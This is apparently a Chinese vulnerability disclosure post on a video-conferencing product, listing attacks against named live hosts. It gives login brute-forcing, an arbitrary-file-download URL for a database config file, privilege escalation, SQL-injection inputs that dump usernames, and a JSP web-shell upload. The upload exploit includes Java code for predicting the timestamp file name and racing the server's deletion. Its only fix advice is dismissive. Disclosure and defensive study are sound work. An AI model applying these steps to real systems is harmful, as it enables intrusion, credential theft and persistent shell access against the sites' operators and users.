首先需要有一个账号登录,任意权限的。账号比较容易获取因为可以暴力破解(用户名密码设置为简单数字和字幕就有可能可以破出来了),比如http://video.bnup.com/acenter/ 的用户
http://www.iactive.com.cn/acenter/index.action 的用户
任意文件下载
http://video.bnup.com/acenter/meeting!downloadDocument.action?filePath=./WEB-INF/classes/dataBase.properties
越权
http://video.bnup.com/acenter/user.action#
可以自由去掉、添加功能权限,可对任意用户进行操作
SQL注入
搜索框输入1213’ and ‘%’=
输入单引号' or '%'=' 显示所有用户名
任意文件上传
http://video.bnup.com/acenter/meeting!prepareUploadDocument.action
可以直接上传jsp文件
默认是写在document文件夹下的,生成文件名的方法从源码中得知如下:
connect + "-" + new Date().getTime() + tail;
也就是房间号加上当前的时间。
房间号如果不做任何操作的话,默认是0,所以文件名肯定是0- 开头(中间有一杠)
我们可以在本地编译下面的java代码:
import java.util.Calendar; import java.util.Date; public class name { public static void main(String[] args) { System.out.println((new Date()).getTime()); } }在上传文件的同时执行以上代码,文件名数值的偏差一般不是很大
左边是我某一次上传时服务器生成的文件名,右边是我本地计算出来的时间,相差大约2万左右完全是可以接受的范围内,所以用burp之类的直接按一个范围内暴力破解就可以搞定了。
public String importUsers() { String filePath = getParameter("filePath", "uploads"); long deptId = getLongParameter("IA_DEPTID", 0L); String realpath = ServletActionContext.getServletContext().getRealPath("/" + filePath); List failedUserList = new ArrayList(); boolean result = false; if (this.fileUpload != null) { result = this.fileUpload.upload(realpath); } if (result) { realpath = realpath + File.separator + this.fileUpload.getFileFileName()[0]; this.userService.importUsers(realpath, deptId, failedUserList); } if (failedUserList.size() > 0) { this.request.setAttribute("userCount", Integer.valueOf(failedUserList.size())); this.request.getSession().setAttribute("failedUserList", failedUserList); return "USER_IMPORT_RESULT"; } return "SUCCESS"; }
导入用户的操作默认是把文件在不重命名的情况下写到uploads文件夹下的,但是在userService.importUsers这个方法里面还是有删除文件的操作:
File file = new File(filePath); if ((file.isFile()) && (file.exists())) file.delete();这个 漏洞 里面的方法上传shell即可,另外网速要比较好……也看点RP(应该说真的很看RP),要不正好删除了才访问,就无效了。
修复方案: 买个cert的服务。
查看更多关于某通用型视频会议系统SQL注入、越权、文件上传的详细内容...